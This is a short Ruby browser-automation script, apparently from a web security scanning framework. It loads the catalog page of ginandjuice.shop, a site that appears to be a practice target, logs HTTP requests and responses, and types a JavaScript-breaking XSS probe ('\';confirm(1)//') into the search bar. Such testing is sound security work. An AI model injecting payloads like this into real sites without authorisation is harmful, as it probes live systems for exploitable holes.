browser_script.rb

URL = 'https://ginandjuice.shop/catalog'

# Proxy HTTP tragic through Burp/ZAP/whatever.
# Options.http.proxy_host = 'localhost'
# Options.http.proxy_port = 8282

b = Browser.new(
  visible:     true,
  on_request:  proc do |request, _|
      # Inspect or manipulate HTTP traffic in the form of an HTTP::Request.
      p '+ ' + request.url
      puts request.raw
  end,
  on_response: proc do |_, response|
      # Inspect HTTP traffic in the form of an HTTP::Response.
      p '- ' + response.url
      puts response.headers_string
  end
)
at_exit { b.shutdown }

# Get Selenium WebDriver.
driver = b.watir.wd

driver.get URL

# Fill in XSS payload and just require us to hit the 'search' icon.
driver.find_element( :id, 'searchBar' ).send_keys "\\';confirm(1)//"

# Wait for user to hit Ctrl+C.
sleep